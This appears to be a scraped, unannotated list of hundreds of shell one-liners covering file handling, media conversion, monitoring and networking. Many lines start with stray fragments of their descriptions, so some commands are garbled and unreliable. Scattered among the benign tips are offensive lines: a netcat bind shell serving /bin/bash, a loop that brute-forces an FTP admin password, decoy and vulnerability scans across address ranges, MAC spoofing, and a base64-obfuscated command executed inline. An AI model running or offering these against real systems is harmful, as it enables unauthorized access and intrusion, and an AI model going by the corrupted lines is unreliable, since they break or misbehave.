echo 1 > /proc/sys/kernel/sysrq; echo b > /proc/sysrq-trigger
for i in $(ls /usr/bin); do whatis $i | grep -v nothing; done | more
f a regular expression.command | sed -n '1,/regex/p'
curl -u user -d status="Tweeting from the shell" http://twitter.com/statuses/update.xml
xset b off
convert {$file_in} \( +clone -background black -shadow 60x5+10+10 \) +swap -background none -layers merge +repage {$file_out}
wget -qO - http://www.commandlinefu.com/commands/random/plaintext | sed -n '1d; /./p'
cat > <file_name> << "EOF"
echo "hello world" | festival --tts
echo <ctrl-v><esc>c<enter>
echo "export LESS='FiX'" >> ~/.bashrc
yes 'Y'|gdb -ex 'p close(1)' -ex 'p creat("/tmp/output.txt",0600)' -ex 'q' -p pid
killall -USR1 dd
for i in {0..600}; do echo $i; sleep 1; done | dialog --gauge "Install..." 6 40
colordiff -yW"`tput cols`" /path/to/file1 /path/to/file2
echo $RANDOM
fuser -nu tcp 3691
sed "s:/old/direcory/:/new/directory/:" <file>
g)dhclient -r && rm -f /var/lib/dhcp3/dhclient* && sed "s=$(hostname)=REPLACEME=g" -i /etc/hosts && hostname "$(echo $RANDOM | md5sum | cut -c 1-7 | tr a-z A-Z)" && sed "s=REPLACEME=$(hostname)=g" -i /etc/hosts && macchanger -e eth0 && dhclient
!219 ; !229 ; !221
grep -r --exclude-dir=.svn PATTERN PATH
<ESC> v
echo Print text vertically|sed 's/\(.\)/\1\n/g'
trap cmd 0
dow]wget randomfunfacts.com -O - 2>/dev/null|grep \<strong\>|sed "s;^.*<i>\(.*\)</i>.*$;\1;"|cowsay -f tux
ps -eo user,pcpu,pmem | tail -n +2 | awk '{num[$1]++; cpu[$1] += $2; mem[$1] += $3} END{printf("NPROC\tUSER\tCPU\tMEM\n"); for (user in cpu) printf("%d\t%s\t%.2f\t%.2f\n",num[user], user, cpu[user], mem[user]) }'
count="1" ; while true ; do read next ; if [[ "$next" = "$last" ]] ; then count=$(($count+1)) ; echo "$count" ; else count="1" ; echo $count ; fi ; last="$next" ; done
echo $0
pv file | gzip > file.gz
lsof -i :80
alt + .
cat $(ls -tr | tail -1) | awk '{ a[$1] += 1; } END { for(i in a) printf("%d, %s\n", a[i], i ); }' | sort -n | tail -25
find . -type f|while read f; do mv $f `echo $f |tr '[:upper:]' '[ :lower:]'`; done
echo '{"json":"obj"}' | python -m simplejson.tool
echo "Starting Daemon"; ( while :; do sleep 15; echo "I am still running =]"; done ) & disown -h -ar $!
U core in parallelparallel -j+0 "zcat {} | bzip2 >{.}.bz2 && rm {}" ::: *.gz
exiftool -DateTimeOriginal='2009:01:01 02:03:04' file.jpg
export PS1="[\u@`hostname -I` \W]$ "
rm -- --myfile
mplayer dvd:// -softvol -softvol-max 500
bind -x '"\C-p"':pwd
echo `date +%m/%d/%y%X |awk '{print $1;}' `" => "` cat /proc/acpi/thermal_zone/THRM/temperature | awk '{print $2, $3;}'` >> datetmp.log
date|osd_cat
echo 1234567890 | awk '{ print strftime("%c", $0); }'
tssh -CNL 3306:localhost:3306 [email protected]
history -w <switch to another terminal> history -r
curl -sd 'rid=value&submit=SUBMIT' <URL> > out.html
vmstat 1 | awk '{now=strftime("%Y-%m-%d %T "); print now $0}'
rename 's/ /_/g' *
cp -n <src> <dst>
paste -d ',:' file1 file2 file3
wget -erobots=off --user-agent="Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092416 Firefox/3.0.3" -H -r -l2 --max-redirect=1 -w 5 --random-wait -PmyBooksFolder -nd --no-parent -A.pdf http://URL
blkid /dev/sda7
read VAR1 VAR2 VAR3 < <(echo aa bb cc); echo $VAR2
qrurl() { curl "http://chart.apis.google.com/chart?chs=150x150&cht=qr&chld=H%7C0&chl=$1" -o qr.$(date +%Y%m%d%H%M%S).png; }
of colorexport PS1='\n[\u@\h \! \w]\n\[\e[32m\]$ \[\e[0m\]'
awk 'NR==4'
strings ~/.mozilla/firefox/*/webappsstore.sqlite|grep -Eo "^.+\.:" |rev
netstat -an | grep ESTABLISHED | awk '\''{print $5}'\'' | awk -F: '\''{print $1}'\'' | sort | uniq -c | awk '\''{ printf("%s\t%s\t",$2,$1); for (i = 0; i < $1; i++) {printf("*")}; print ""}'\''
ps aux | grep [h]ttpd
say(){ mplayer -user-agent Mozilla "http://translate.google.com/translate_tts?tl=en&q=$(echo $* | sed 's#\ #\+#g')" > /dev/null 2>&1 ; }; sleep 3s && say "wake up, you bastard"
awk -F ',' '{ x = x + $4 } END { print x }' test.csv
say(){ mplayer -user-agent Mozilla "http://translate.google.com/translate_tts?tl=en&q=$(echo $* | sed 's#\ #\+#g')" > /dev/null 2>&1 ; }
gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=output.pdf input1.pdf input2.pdf ...
function manpdf() {man -t $1 | ps2pdf - - | epdfview -}
diff -rq dirA dirB
seq -s* 10 |bc
qrencode -o myqr.png 'MECARD:N:Lee,Chris;TEL:8881234567;EMAIL:[email protected];;'
read -sn 1 -p 'Press any key to continue...';echo
mencoder "mf://*.png" -mf fps=2 -o output.avi -ovc lavc -lavcopts vcodec=mpeg4
de them via sedfind . -name '*.txt' -exec sed -ir 's/this/that/g' {} \;
le.com)wget -r -A .pdf -l 5 -nH --no-parent http://example.com
find /path/to/images -name '*.JPG' -exec bash -c 'mv "$1" "${1/%.JPG/.jpg}"' -- {} \;
ggg?G
sudo -l
while true; do xkill -button any; done
apt-cache dotty apache2 | dot -T png | display
git log --format='%aN' | sort -u
netstat -plnt
watch -n 10 killall -USR1 dd
$ history -a #in one shell , and $ history -r #in another running shell
nningfuser -k <port>
dd if=/dev/nst0 |pv|dd of=restored_file.tar
telnet bofh.jeffballard.us 666
chmod 644 $(find . -type f)
echo "this is a test" | sed 's/.*/\L&/; s/[a-z]*/\u&/g'
set -eu
AUTOSSH_POLL=1 autossh -M 21010 hostname -t 'screen -Dr'
ls *(.x)
grep -r --include="*.[ch]" pattern .
alias rot13="tr a-zA-Z n-za-mN-ZA-M"
eject /dev/sdb; sleep 1; eject -t /dev/sdb
find $PWD -maxdepth 1 -printf '%.5m %10M %#9u:%-9g %#5U:%-5G [%AD | %TD | %CD] [%Y] %p\n'
ctrl + \
pdftk 1.pdf 2.pdf 3.pdf cat output 123.pdf
rogramnameapt-file find bin/programname
find /path/to/dir -type f -delete
ls /var/lib/dpkg/info/*.list -lht |less
nmap -A -p1-85,113,443,8080-8100 -T4 --min-hostgroup 50 --max-rtt-timeout 2000 --initial-rtt-timeout 300 --max-retries 3 --host-timeout 20m --max-scan-delay 1000 -oA wapscan 10.0.0.0/8
truncate -s 1M file
wget -nv http://en.wikipedia.org/wiki/Linux -O- | egrep -o "http://[^[:space:]]*.jpg" | xargs -P 10 -r -n 1 wget -nv
apt-get moo
tar cpfP - $(find <somedir> -type f -name *.png) | ssh user@host | tar xpfP -
!:n
ermediate tarball.( cd SOURCEDIR && tar cf - . ) | (cd DESTDIR && tar xvpf - )
find public_html/stuff -type d -exec chmod 755 {} + -or -type f -exec chmod 644 {} +
for h in host1 host2 host3 host4 ; { scp file user@$h:/destination_path/ ; }
cat VTS_05_1.VOB VTS_05_2.VOB VTS_05_3.VOB VTS_05_4.VOB > mergedmovie.mpg
vditool COPYDD my.vdi my.dd ; sudo mount -t ntfs -o ro,noatime,noexex,loop,offset=32256 my.dd ./my_dir
mplayer http://minnesota.publicradio.org/tools/play/streams/the_current.pls < /dev/null | grep --line-buffered "StreamTitle='.*S" -o | grep --line-buffered "'.*'" -o > mus & tail -n0 -f mus | while read line; do notify-send "Music Change" "$line";done
alias Z=base64&&Z=dG91Y2ggUExFQVNFX1NUT1BfQU5OT1lJTkdfQ09NTUFORExJTkVGVV9VU0VSUwo=&&$(echo $Z|Z -d)
shuf -n1 -e *
find -type l -xtype d
nmap -sP 192.168.1.0/24; arp -n | grep "192.168.1.[0-9]* *ether"
ifconfig en1 | awk '/inet / {print $2}' | mail -s "hello world" [email protected]
find . -name "whatever.*" -print0 | rsync -av --files-from=- --from0 ./ ./destination/
export TMOUT=10
sing temporary filesls |tee >(grep xxx |wc >xxx.count) >(grep yyy |wc >yyy.count) |grep zzz |wc >zzz.count
vim -p file1 file2 ...
albumart(){ local y="$@";awk '/View larger image/{gsub(/^.*largeImagePopup\(.|., .*$/,"");print;exit}' <(curl -s 'http://www.albumart.org/index.php?srchkey='${y// /+}'&itempage=1&newsearch=1&searchindex=Music');}
`pbpaste` | pbcopy
LC_ALL=C tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR="1;32" grep --color "[^ ]"
dumpe2fs -h /dev/DEVICE | grep 'created'
vim -o file1 file2...
essxprop | awk '/PID/ {print $3}' | xargs ps h -o pid,cmd
mkisofs -o XYZ.iso XYZ/
tar -zcvpf backup_`date +"%Y%m%d_%H%M%S"`.tar.gz `find <target> -atime +5` 2> /dev/null | xargs rm -fr ;
perl -MExtUtils::Installed -e '$inst = ExtUtils::Installed->new(); @modules = $inst->modules(); print join("\n", @modules);'
rtmpdump -v -r rtmp://livestfslivefs.fplive.net/livestfslive-live/ -y "aljazeera_en_veryhigh" -a "aljazeeraflashlive-live" -o -| mplayer -
txt2regex
du -xk | sort -n | tail -20
eject -x 4
cat /var/log/secure | grep sshd | grep Failed | sed 's/invalid//' | sed 's/user//' | awk '{print $11}' | sort | uniq -c | sort -n
echo $((RANDOM%256)).$((RANDOM%256)).$((RANDOM%256)).$((RANDOM%256))
from largest to smallest.du -k | sort -r -n | more
echo $LS_COLORS | sed 's/:/\n/g' | awk -F= '!/^$/{printf("%s \x1b[%smdemo\x1b[0m\n",$0,$2)}'
COL=$(( $(tput cols) / 2 )); clear; tput setaf 2; while :; do tput cup $((RANDOM%COL)) $((RANDOM%COL)); printf "%$((RANDOM%COL))s" $((RANDOM%2)); done
ssh root@HOST tcpdump -U -s0 -w - 'not port 22' | wireshark -k -i -
sudo lsof -rc command >> /tmp/command.txt
ng)param=${param:-$(read -p "Enter parameter: "; echo "$REPLY")}
find / -name "*.pdf" -exec cp -t ~/Documents/PDF {} +
myinfo() { info --subnodes -o - $1 | less; }
rsync -av --progress ./file.txt user@host:/path/to/dir
UP/logoutnohup /bin/sh myscript.sh 1>&2 &>/dev/null 1>&2 &>/dev/null&
curl -n -d status='Hello from cli' https://twitter.com/statuses/update.xml
ssh -f -L3307:127.0.0.1:3306 -N -t -x user@host sleep 600 ; mk-table-sync --execute --verbose u=root,p=xxx,h=127.0.0.1,P=3307 u=root,p=xxx,h=localhost
du | sort -gr > file_sizes
(echo "set terminal png;plot '-' u 1:2 t 'cpu' w linespoints;"; sudo vmstat 2 10 | awk 'NR > 2 {print NR, $13}') | gnuplot > plot.png
sudo arp-scan -l
find . -name .svn -prune -o -print
printf "%s\n" ${PATH//:/\/* }
FTP using FUSE FS)curlftpfs ftp://YourUsername:YourPassword@YourFTPServerURL /tmp/remote-website/ && rsync -av /tmp/remote-website/* /usr/local/data_latest && umount /tmp/remote-website
perl -MCPAN -e 'CPAN::Shell->install(CPAN::Shell->r)'
wget -qO- icanhazip.com
sudo chattr -R +i dirname
dd if=/dev/sda5 bs=2048 conv=noerror,sync | gzip -fc | lftp -u user,passwd domain.tld -e "put /dev/stdin -o backup-$(date +%Y%m%d%H%M).gz; quit"
locate -S
resolve its dependencies.yum localinstall /path/to/package.rpm
fc [history-number]
shuf -i 1-49 | head -n6 | sort -n| xargs
nmap -sS -O -oX /tmp/nmap.xml 10.1.1.0/24 -v -v && perl nmap2nagios.pl -v -r /tmp/10net.xml -o /etc/nagios/10net.cfg
svn log -r {`date "+%Y-%m-%d"`}:HEAD|grep '^r[0-9]' |cut -d\| -f2|sort|uniq -c
pdfinfo Virtualization_A_Beginner_Guide.pdf | awk /Pages/
ssh -t user@host screen -x <screen name>
m:sfind -type f -name "*.avi" -print0 | xargs -0 mplayer -vo dummy -ao dummy -identify 2>/dev/null | perl -nle '/ID_LENGTH=([0-9\.]+)/ && ($t +=$1) && printf "%02d:%02d:%02d\n",$t/3600,$t/60%60,$t%60' | tail -n 1
xset led 3
lshw -short
:%s/\s\+$//
rsync -a /etc /destination
ping -o -i 30 HOSTNAME && osascript -e 'tell app "Terminal" to display dialog "Server is up" buttons "It?s about time" default button 1'
comm -1 -2 <(sort file1) <(sort file2)
grep -i "$(date +%b\ %d\ %H)" syslog
<ESC> #
for i in {21..29}; do nc -v -n -z -w 1 192.168.0.$i 443; done
curl http://example.com/a.gz | tar xz
strace php tias.php -e open,access 2>&1 | grep foo.txt
killall <name>
VBoxManage startvm "name"
/bin/grep - ipranges.txt | while read line; do ipcalc $line ; done | grep -v deag
dig +short -x {ip}
rsync -a --delete --link-dest=../lastbackup $folder $dname/
zgrep "Failed password" /var/log/auth.log* | awk '{print $9}' | sort | uniq -c | sort -nr | less
wget -b http://dl.google.com/android/android-sdk_r14-linux.tgz
netstat -putona
curl -s search.twitter.com | awk -F'</?[^>]+>' '/\/intra\/trend\//{print $2}'
mencoder -ovc copy -oac copy -of avi -o remuxed.avi original.avi
dmidecode | awk '/VMware Virtual Platform/ {print $3,$4,$5}'
/lib/ld-linux.so.2 =(echo -e '#include <stdio.h>\nint main(){printf("c one liners\\n");}' | gcc -x c -o /dev/stdout -)
curl http://www.phrack.org/archives/tgz/phrack[1-67].tar.gz -o phrack#1.tar.gz
mplayer -vo null something.mpg
indent -linux helloworld.c
ctrl + r
export HISTTIMEFORMAT='%F %T '
grep -r -i "phrase" directory/
zip -r foo.zip DIR -x "*/.svn/*"
[ $1 == "client" ] && hostname || cat $0 | ssh $1 /bin/sh -s client
cd ${PWD/a/b}
enscript jrandom.txt -o - | ps2pdf - ~/tmp/jrandom.pdf (from file) or: ls | enscript -o - | ps2pdf - ~/tmp/ls.pdf (from stdout)
for f in *.jpg; do exif --ifd=0 --tag=0x0110 --set-value="LOMO LC-A" --output=$f $f; exif --ifd=0 --tag=0x010f --set-value="LOMO" --output=$f $f; done }
man <COMMAND> | less +'/pattern'
mplayer -tv driver=v4l2:gain=1:width=640:height=480:device=/dev/video0:fps=10:outfmt=rgb16 -vo aa tv://
curl -I -H "Accept-Encoding: gzip,deflate" http://example.org
ssh-keygen -R \[localhost\]:8022
ls -la | sort -k 5bn
awk -F'^"|", "|"$' '{ print $2,$3,$4 }' file.csv
mussh -h host1 host2 host3 -c uptime
c() printf "\033c" #usage: c
seq 9 | sed 'H;g' | awk -v RS='' '{for(i=1;i<=NF;i++)printf("%dx%d=%d%s", i, NR, i*NR, i==NR?"\n":"\t")}'
dd if=/dev/urandom of=file.img bs=4KB& pid=$!
find /backup/directory -name "FILENAME_*" -mtime +15 | xargs rm -vf
trickle -d 60 wget http://very.big/file
netstat -n | awk '/^tcp/ {++B[$NF]} END {for(a in B) print a, B[a]}'
grep -Fxv -f file1 file2
type <function name>
crontest () { date '-d +2 minutes' +'%M %k %d %m *'; }
sed -i 3d ~/.ssh/known_hosts
mplayer -vo dummy -ao dummy -identify your_video.avi
nmap -PN -d -p445 --script=smb-check-vulns --script-args=safe=1 IP-RANGES
cd() { builtin cd "${@:-$HOME}" && ls; }
check the sample output below, the command was too long :(
tshark -i any -T fields -R mysql.query -e mysql.query
ethstatus -i eth0
trap 'echo -e "\e]0;$BASH_COMMAND\007"' DEBUG
xrandr --output LVDS --auto --output VGA --auto --right-of LVDS
sudo nmap -sS 192.168.0.10 -D 192.168.0.2
box() { t="$1xxxx";c=${2:-=}; echo ${t//?/$c}; echo "$c $1 $c"; echo ${t//?/$c}; }
echo "SHOW PROCESSLIST\G" | mysql -u root -p | grep "Info:" | awk -F":" '{count[$NF]++}END{for(i in count){printf("%d: %s\n", count[i], i)}}' | sort -n
egrep -o '\b[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\b' access.log | sort -u
diff <(ssh nx915000 "rpm -qa") <(ssh nx915001 "rpm -qa")
info --vi-keys
php -r 'echo strtotime("2009/02/13 15:31:30")."\n";'
echo $(</tmp/foo)
while V=$((`date +%s -d"2010-01-01"`-`date +%s`));do if [ $V == 0 ];then figlet 'Happy New Year!';break;else figlet $V;sleep 1;clear;fi;done
aptitude remove $(dpkg -l|awk '/^ii linux-image-2/{print $2}'|sed 's/linux-image-//'|awk -v v=`uname -r` 'v>$0'|sed 's/-generic//'|awk '{printf("linux-headers-%s\nlinux-headers-%s-generic\nlinux-image-%s-generic\n",$0,$0,$0)}')
find ./ -type f -exec mv {} . \;
ab -n 9000 -c 900 localhost:8080/index.php
until (ssh [email protected] 2> /dev/null); do date; sleep 15; done
perl -lne '$l{$_}=length;END{for(sort{$l{$a}<=>$l{$b}}keys %l){print}}' < /usr/share/dict/words | tail
ffmpeg -i inputfile.mp4 outputfile.flv
md5sum --check MD5SUMS | grep -v ": OK"
screen /dev/ttyS0 9600
lsof -Pnl +M -i4
calendar
ssh -A user@somehost
sed -e "s/| /\n/g" ~/.bash_history | cut -d ' ' -f 1 | sort | uniq -c | sort -nr | head
curl -u <user>:<password> -d status="Amarok, now playing: $(dcop amarok default nowPlaying)" http://twitter.com/statuses/update.json
ran=$(head /dev/urandom | md5sum); MAC=00:07:${ran:0:2}:${ran:3:2}:${ran:5:2}:${ran:7:2}; sudo ifconfig wlan0 down hw ether $MAC; sudo ifconfig wlan0 up; echo ifconfig wlan0:0
rename "s/ *//g" *.jpg
alias va='vi ~/.aliases; source ~/.aliases && echo "aliases sourced"'
curl -A Mozilla http://www.google.com/search?q=test |html2text -width 80
du --max-depth=1
find ./backup -type f -print0 | xargs -0 md5sum > /checksums_backup.md5
seq -s'#' 0 $(tput cols) | tr -d '[:digit:]'
rlwrap sqlite3 database.db
du -sh *
amixer sset Master toggle
grep . filename
find . -type f -print | xargs grep foo
pbpaste > newfile.txt
date -ud "1970-01-01 + 1234567890 seconds"
cat list|while read lines;do echo "USER admin">ftp;echo "PASS $lines">>ftp;echo "QUIT">>ftp;nc 192.168.77.128 21 <ftp>ftp2;echo "trying: $lines";cat ftp2|grep "230">/dev/null;[ "$?" -eq "0" ]&& echo "pass: $lines" && break;done
ssh -f [email protected] DISPLAY=:0.0 smplayer movie.avi
define(){ local y="$@";curl -sA"Opera" "http://www.google.com/search?q=define:${y// /+}"|grep -Eo '<li>[^<]+'|sed 's/^<li>//g'|nl|/usr/bin/perl -MHTML::Entities -pe 'decode_entities($_)';}
grep -2 -iIr "err\|warn\|fail\|crit" /var/log/*
On PC1: nc -l -p 6666 > /dev/dsp On PC2: cat /dev/dsp | nc <PC1's IP> 6666
lsof -p 15857
wget -r ftp://user:[email protected]
qdbus org.kde.screenlocker /MainApplication quit
set -o noclobber
shred -u -z -n 17 rubricasegreta.txt
tr '[:lower:]' '[:upper:]' <"$1"
for f in t1.bmp t2.jpg t3.tga; do echo ${f%.*}.png; done
function autoCompleteHostname() { local hosts; local cur; hosts=($(awk '{print $1}' ~/.ssh/known_hosts | cut -d, -f1)); cur=${COMP_WORDS[COMP_CWORD]}; COMPREPLY=($(compgen -W '${hosts[@]}' -- $cur )) } complete -F autoCompleteHostname ssh
display "$(wget -q http://dynamic.xkcd.com/comic/random/ -O - | grep -Po '(?<=")http://imgs.xkcd.com/comics/[^"]+(png|jpg)')"
deadlib() { lsof | grep 'DEL.*lib' | cut -f 1 -d ' ' | sort -u; }
du -hS / | perl -ne '(m/\d{3,}M\s+\S/ || m/G\s+\S/) && print'
cd ../"$(ls -F ..|grep '/'|grep -B1 `basename $PWD`|head -n 1)"
twistd -n web --path .
whois domainnametocheck.com | grep match
xclip file.txt
callycurl http://example.com/foo.tar.gz | tar zxvf -
say() { if [[ "${1}" =~ -[a-z]{2} ]]; then local lang=${1#-}; local text="${*#$1}"; else local lang=${LANG%_*}; local text="$*";fi; mplayer "http://translate.google.com/translate_tts?ie=UTF-8&tl=${lang}&q=${text}" &> /dev/null ; }
function cdls { cd $1; ls; }
convert input.png -alpha set -channel A -fx 0.5 output.png
ffmpeg -f alsa -ac 2 -i pulse -f x11grab -r 30 -s 1024x768 -i :0.0 -acodec pcm_s16le -vcodec libx264 -vpre lossless_ultrafast -threads 0 ./Desktop/mydesktop.mkv
for i in `ps aux | grep httpd | awk '{print $2}'`; do lsof -n -p $i | grep ESTABLISHED; done;
ls -l | awk '{k=0;for(i=0;i<=8;i++)k+=((substr($1,i+2,1)~/[rwx]/)*2^(8-i));if(k)printf("%0o ",k);print}'
nc -zw2 www.example.com 80 && echo open
watch -n 15 curl -s --connect-timeout 10 http://www.google.com/
kill -l
ompload() { curl -# -F file1=@"$1" http://ompldr.org/upload|awk '/Info:|file:|Thumbnail:|BBCode:/{gsub(/<[^<]*?\/?>/,"");$1=$1;print}';}
er and all sub-foldersfor x in `find . -name '*.html'` ; do iconv -f ISO-8859-1 -t UTF-8 $x > "$x.utf8"; rm $x; mv "$x.utf8" $x; done
mencoder tv:// -tv driver=v4l2:width=800:height=600:device=/dev/video0:fps=30:outfmt=yuy2:forceaudio:alsa:adevice=hw.2,0 -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=1800 -ffourcc xvid -oac mp3lame -lameopts cbr=128 -o output.avi
ifconfig eth0 | grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}'
ssh -R 2001:localhost:22 [username]@[remote server ip]
ls -1t | head -n10
mii-tool eth0
find . -type f -printf '%20s %p\n' | sort -n | cut -b22- | tr '\n' '\000' | xargs -0 ls -laSr
tr A-Z a-z | tr -cs a-z '\n' | sort | uniq -c
dlocate /path/to/file
alias tree="tree -CAFa -I 'CVS|*.*.package|.svn|.git' --dirsfirst"
unset TMOUT
dmidecode | grep -i prod
awk '$9 == 404 {print $7}' access_log | uniq -c | sort -rn | head
ls /usr/bin | shuf -n 1
B <<< $(A)
sed "s/<[^>]\+>//g" file
function mcd() { [ -n "$1" ] && mkdir -p "$@" && cd "$1"; }
grep -e `date +%Y-%m-%d` /var/log/dpkg.log | awk '/install / {print $4}' | uniq | xargs apt-get -y remove
ID=52DnUo6wJto;mplayer -fs $(echo "http://youtube.com/get_video.php?&video_id=$ID$(wget -qO - 'http://youtube.com/watch?v='$ID | perl -ne 'print $1."&asv=" if /^.*(&t=.*?)&.*$/; print "&fmt=".$1 if /^.*&fmt_map=(22).*$/')")
[Ctrl+_]
vimdiff /path/to/file scp://remotehost//path/to/file
sed -e :a -e 's/<[^>]*>//g;/</N;//ba' index.html
<(!!)
lscpu
lsb_release -a
h() { if [ -z "$1" ]; then history; else history | grep "$@"; fi; }
bonnie++ -n 0 -u 0 -r <physical RAM> -s <2 x physical ram> -f -b -d <mounted disck>
script_path=$(cd $(dirname $0);pwd)
pstree -Gap | less -r
head -100000 /dev/urandom | strings > temp.txt && for w in $(cat webster-dictionary.txt); do if [ ${#w} -gt 3 ]; then grep -io $w temp.txt; fi; done
find ${PATH//:/ } -name \*bash\*
CMD="${1}"; LOG="${2}"; N_HOST="${3}"; N_SERVICE="${4}"; ${CMD} >${LOG} 2>&1; EXITSTAT=${?}; OUTPUT="$(tail -1 ${LOG})";echo "${HOSTNAME}:${N_SERVICE}:${EXITSTAT}:${OUTPUT}" | send_nsca -H ${N_HOST} -d : -c /etc/nagios/send_nsca.cfg >/dev/null 2>&1
install -o user -g group -m 0700 -d /path/to/newdir
oginfor name in larry moe schemp; do useradd $name; echo 'password' | passwd --stdin $name; chage -d 0 $name; done
net rpc -I indirizzoip -U nomeutente%password servizio {stop|start} nomedelservizio
netstat -lantp | grep -i stab | awk -F/ '{print $2}' | sort | uniq
aptitude moo
mplayer -cache 128 -tv driver=v4l2:width=176:height=177 -vo xv tv:// -noborder -geometry "95%:93%" -ontop
weather(){ curl -s "http://api.wunderground.com/auto/wui/geo/ForecastXML/index.xml?query=${@:-<YOURZIPORLOCATION>}"|perl -ne '/<title>([^<]+)/&&printf "%s: ",$1;/<fcttext>([^<]+)/&&print $1,"\n"';}
pdftk in.pdf burst
nmap -oG - -T4 -p22 -v 192.168.0.254 | grep ssh
( shopt -s extglob; rm !(<PATTERN>) )
nts!!:gs/Original/New/
head -100000 /dev/urandom | strings|tr '[A-Z]' '[a-z]'|sort >temp.txt && wget -q http://www.mavi1.org/web_security/wordlists/webster-dictionary.txt -O-|tr '[A-Z]' '[a-z]'|sort >temp2.txt&&comm -12 temp.txt temp2.txt
wget -c -t 1 --load-cookies ~/.cookies/rapidshare <URL>
find . -type f -exec grep -l XXX {} \;|tee /tmp/fileschanged|xargs perl -pi.bak -e 's/XXX/YYY/g'
mplayer -vo aa <video file>
red )od -c <FILE> | grep --color '\\.'
ffmpeg -ss 00:00:30 -t 00:02:58 -i input.mp3 -acodec copy ouput.mp3
.find . -name "*.txt" | xargs perl -pi -e 's/old/new/g'
cp -bfS.bak filename filename
fromdos *
pwgen
echo {1..199}" sheep," | espeak -v english -s 80
:> file
:33,61 !sort
sudo apt-get update && sudo apt-get upgrade && sudo apt-get autoclean && sudo apt-get autoremove
rm ~/.mozilla/firefox/<profile_dir>/.parentlock
FFPID=$(pidof firefox-bin) && lsof -p $FFPID | awk '{ if($7>0) print ($7/1024/1024)" MB -- "$9; }' | grep ".mozilla" | sort -rn
read -sn1 -p "Press any key to continue..."; echo
</dev/urandom tr -dc '12345!@#$%qwertQWERTasdfgASDFGzxcvbZXCVB' | head -c8; echo ""
ls | sed -n -r 's/banana_(.*)_([0-9]*).asc/mv & banana_\2_\1.asc/gp' | sh
ls -pt1 | sed '/.*\//d' | sed 1d | xargs rm
:for i in range(1,255) | .put='192.168.0.'.i | endfor
tail -f file | awk '{now=strftime("%F %T%z\t");sub(/^/, now);print}'
cpan -r
man -t man | ps2pdf - > man.pdf
ssh user@host "cd targetdir; tar cfp - *" | dd of=file.tar
nload -u m eth0
dd if=/dev/zero | pv | dd of=/dev/null
tr -dc a-z0-9 </dev/urandom | tr 0-8 \ | tr 9 \\n | sed 's/^[ \t]*//' | fmt -u
links --dump 1 http://localhost/server-status|grep ^[0-9]|awk 'BEGIN {print "Seconds, PID, State, IP, Domain, TYPE, URL\n--"} $4 !~ /[GCRK_.]/ {print $6, $2, $4, $11, $12, $13 " " $14|"sort -n"}'
whiptail --checklist "Simple checkbox menu" 11 35 5 tag item status repeat tags 1
wineserver -k
cat ~/.ssh/*.pub | ssh user@remote-system 'umask 077; cat >>.ssh/authorized_keys'
mv -b old_file_name new_and_already_existent_file_name
echo -e "HEAD / HTTP/1.1\nHost: slashdot.org\n\n" | nc slashdot.org 80 | egrep "Bender|Fry" | sed "s/X-//"
ex some_file "+set ff=unix fileencoding=utf-8" "+x"
SOURCE: dd if=/dev/sda bs=16065b | netcat ip-target 1234 TARGET: netcat -l -p 1234 | dd of=/dev/mapper/laptop bs=16065b STATS on target: watch -n60 -- kill -USR1 $(pgrep dd)
time { <command1> ; <command2> ; <command...> ; }
ssh-keygen -R `host hostname | cut -d " " -f 4`
spellcheck(){ typeset y=$@;curl -sd "<spellrequest><text>$y</text></spellrequest>" https://www.google.com/tbproxy/spell|sed -n '/s="[0-9]"/{s/<[^>]*>/ /g;s/\t/ /g;s/ *\(.*\)/Suggestions: \1\n/g;p}'|tee >(grep -Eq '.*'||echo -e "OK");}
find . -maxdepth 1 -type f | wc -l
gzexe name ...
acterscat typescript | perl -pe 's/\e([^\[\]]|\[.*?[a-zA-Z]|\].*?\a)//g' | col -b > typescript-processed
pgrep -c httpd
ionice -c3 find /
sed -i 's/20[0-1][0-9]\{7\}/'`date +%Y%m%d%I`'/g' *.db
du -b filename
script -f /dev/pts/3
echo .*
until foo some args; do echo "crashed: $? respawning..." >&2; sleep 10; done
kdialog --passivepopup <text> <timeout>
command ps -Hacl -F S -A f
mplayer -vo dummy -ao dummy -identify * 2>&1 | grep ID_LENGTH | sed 's/.*=\([0-9]*\)/\1/' | xargs echo | sed 's/ /+/g' | bc | awk 'S=$1; {printf "%dh:%dm:%ds\n",S/(60*60),S%(60*60)/60,S%60}'
fdupes -r -1 path | while read line; do j="0"; for file in ${line[*]}; do if [ "$j" == "0" ]; then j="1"; else ln -f ${line// .*/} $file; fi; done; done
mencoder your_video.flv -oac mp3lame -ovc xvid -lameopts preset=standard:fast -xvidencopts pass=1 -o your_video.avi
sudo lshw -C cpu|grep width
perl -nle 'printf "%0*v8b\n"," ",$_;'
symlinks -r $(pwd)
dd if=/dev/cdrom of=whatever.iso
set -o vi
nc -l -p 2000 -e /bin/bash
limite="5";load5=$(awk '{print $1}' /proc/loadavg);echo "http://chart.apis.google.com/chart?chxr=0,0,5&chxt=y&chs=700x240&cht=gm&chds=0,"$limite"&chd=t:"$load5"&chl="$load5"&chtt=$(hostname)+load+average"
find . -type f -exec md5sum {} \; > sum.md5
date -d '1 day ago'; date -d '11 hour ago'; date -d '2 hour ago - 3 minute'; date -d '16 hour'
find . -not \( -name .svn -prune \) -type f -print0 | xargs --null grep <searchTerm>
u=`curl -d 'dl.start=Free' $(curl $1|perl -wpi -e 's/^.*"(http:\/\/rs.*)" method.*$/$1/'|egrep '^http'|head -n1)|grep "Level(3) \#2"|perl -wpi -e 's/^.*(http:\/\/rs[^\\\\]*).*$/$1/'`;sleep 60;wget $u
seq -s" " -50 -1 | tr -dc -
vmstat 1 10 | /usr/xpg4/bin/awk -f ph-vmstat.awk
svn log -r {`date +"%Y-%m-%d" -d "1 month ago"`}:HEAD|grep '^r[0-9]' |cut -d\| -f2|sort|uniq -c
wmctrl -o 2560,0 ;sleep 2 ; echo "FIRE 001" | osd_cat -o 470 -s 8 -c red -d 10 -f -*-bitstream\ vera\ sans-*-*-*--250-*-*-*-*-*-*-* ; sleep 1; wmctrl -o 0,0
_cd ~/nsfw; mplayer midget_donkey.mpeg
apache2 -t -D DUMP_MODULES
sync && echo 3 | sudo tee /proc/sys/vm/drop_caches
